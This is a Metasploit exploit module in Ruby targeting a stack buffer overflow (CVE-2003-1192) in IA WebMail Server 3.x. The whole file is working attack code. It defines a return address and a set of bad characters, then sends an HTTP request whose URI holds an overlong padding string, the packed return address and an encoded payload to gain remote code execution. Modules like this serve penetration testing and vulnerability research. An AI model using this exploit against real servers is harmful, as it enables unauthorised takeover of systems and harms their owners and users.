IA WebMail Server 3.x - Remote Buffer Overflow (Metasploit)

##
# $Id: ia_webmail.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'IA WebMail 3.x Buffer Overflow',
			'Description'    => %q{
					This exploits a stack buffer overflow in the IA WebMail server.
				This exploit has not been tested against a live system at
				this time.
			},
			'Author'         => [ 'hdm' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2003-1192'],
					[ 'OSVDB', '2757'],
					[ 'BID', '8965'],
					[ 'URL', 'http://www.k-otik.net/exploits/11.19.iawebmail.pl.php'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'BadChars'    => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'IA WebMail 3.x',
						{
							'Ret'    => 0x1002bd33,
							'Length' => 1036
						},
					]
				],
			'DisclosureDate' => 'Nov 3 2003',
			'DefaultTarget'  => 0))
	end

	def exploit
		print_status("Sending request...")

		send_request_raw({
			'uri' =>
				"/" + ("o" * target['Length']) +
				"META" +
				[target.ret].pack('V') +
				payload.encoded
		}, 2)

		handler
	end

end